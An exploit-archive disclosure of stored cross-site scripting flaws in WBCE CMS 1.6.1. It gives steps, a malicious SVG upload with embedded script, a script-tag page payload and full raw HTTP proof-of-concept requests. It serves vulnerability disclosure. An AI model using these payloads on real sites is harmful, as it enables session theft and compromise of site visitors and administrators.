9be142a874
7 changes to exploits/shellcodes/ghdb Seagate Central Storage 2015.0916 - Unauthenticated Remote Command Execution (Metasploit) SCM Manager 1.60 - Cross-Site Scripting Stored (Authenticated) Ulicms 2023.1 - create admin user via mass assignment WBCE CMS 1.6.1 - Multiple Stored Cross-Site Scripting (XSS) Zenphoto 1.6 - Multiple stored XSS Filmora 12 version ( Build 1.0.0.7) - Unquoted Service Paths Privilege Escalation
125 lines
No EOL
4.7 KiB
Text
125 lines
No EOL
4.7 KiB
Text
Exploit Title: WBCE CMS 1.6.1 - Multiple Stored Cross-Site Scripting (XSS)
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Version: 1.6.1
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Bugs: XSS
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Technology: PHP
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Vendor URL: https://wbce-cms.org/
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Software Link: https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.1
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Date of found: 03-05-2023
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Author: Mirabbas Ağalarov
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Tested on: Linux
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2. Technical Details & POC
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========================================
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###XSS-1###
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steps:
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1. Go to media (http://localhost/WBCE_CMS-1.6.1/wbce/admin/media/)
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2. upload malicious svg file
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svg file content ===>
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<?xml version="1.0" standalone="no"?>
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<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
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<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
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<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
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<script type="text/javascript">
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alert(document.location);
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</script>
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</svg>
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poc request:
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POST /WBCE_CMS-1.6.1/wbce/modules/elfinder/ef/php/connector.wbce.php HTTP/1.1
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Host: localhost
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Content-Length: 976
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sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
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sec-ch-ua-platform: "Linux"
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sec-ch-ua-mobile: ?0
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5u4r3pOGl4EnuBtO
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Accept: */*
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Origin: http://localhost
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Sec-Fetch-Site: same-origin
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Sec-Fetch-Mode: cors
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Sec-Fetch-Dest: empty
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Referer: http://localhost/WBCE_CMS-1.6.1/wbce/admin/media/
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Accept-Encoding: gzip, deflate
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Accept-Language: en-US,en;q=0.9
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Cookie: stElem___stickySidebarElement=%5Bid%3A0%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A1%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A2%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A3%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A4%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A5%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A6%5D%5Bvalue%3AnoClass%5D%23; phpsessid-6361-sid=nnjmhia5hkt0h6qi9lumt95t9u; WBCELastConnectJS=1683060167
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Connection: close
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------WebKitFormBoundary5u4r3pOGl4EnuBtO
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Content-Disposition: form-data; name="reqid"
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187de34ea92ac
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------WebKitFormBoundary5u4r3pOGl4EnuBtO
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Content-Disposition: form-data; name="cmd"
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upload
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------WebKitFormBoundary5u4r3pOGl4EnuBtO
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Content-Disposition: form-data; name="target"
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l1_Lw
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------WebKitFormBoundary5u4r3pOGl4EnuBtO
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Content-Disposition: form-data; name="upload[]"; filename="SVG_XSS.svg"
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Content-Type: image/svg+xml
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<?xml version="1.0" standalone="no"?>
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<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
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<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
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<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
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<script type="text/javascript">
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alert(document.location);
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</script>
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</svg>
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------WebKitFormBoundary5u4r3pOGl4EnuBtO
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Content-Disposition: form-data; name="mtime[]"
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1683056102
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------WebKitFormBoundary5u4r3pOGl4EnuBtO--
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3. go to svg file (http://localhost/WBCE_CMS-1.6.1/wbce/media/SVG_XSS.svg)
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========================================================================================================================
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###XSS-2###
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1. go to pages (http://localhost/WBCE_CMS-1.6.1/wbce/admin/pages)
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2. add page
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3. write page source content <script>alert(4)</script> (%3Cscript%3Ealert%284%29%3C%2Fscript%3E)
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payload: %3Cscript%3Ealert%284%29%3C%2Fscript%3E
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poc request:
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POST /WBCE_CMS-1.6.1/wbce/modules/wysiwyg/save.php HTTP/1.1
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Host: localhost
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Content-Length: 143
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Cache-Control: max-age=0
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sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
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sec-ch-ua-mobile: ?0
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sec-ch-ua-platform: "Linux"
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Upgrade-Insecure-Requests: 1
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Origin: http://localhost
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Content-Type: application/x-www-form-urlencoded
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
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Sec-Fetch-Site: same-origin
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Sec-Fetch-Mode: navigate
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Sec-Fetch-User: ?1
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Sec-Fetch-Dest: document
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Referer: http://localhost/WBCE_CMS-1.6.1/wbce/admin/pages/modify.php?page_id=4
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Accept-Encoding: gzip, deflate
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Accept-Language: en-US,en;q=0.9
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Cookie: stElem___stickySidebarElement=%5Bid%3A0%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A1%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A2%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A3%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A4%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A5%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A6%5D%5Bvalue%3AnoClass%5D%23; phpsessid-6361-sid=nnjmhia5hkt0h6qi9lumt95t9u; WBCELastConnectJS=1683060475
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Connection: close
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page_id=4§ion_id=4&formtoken=6071e516-6ea84938ea2e60b811895c9072c4416ab66ae07f&content4=%3Cscript%3Ealert%284%29%3C%2Fscript%3E&modify=Save
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4. view pages http://localhost/WBCE_CMS-1.6.1/wbce/pages/hello.php |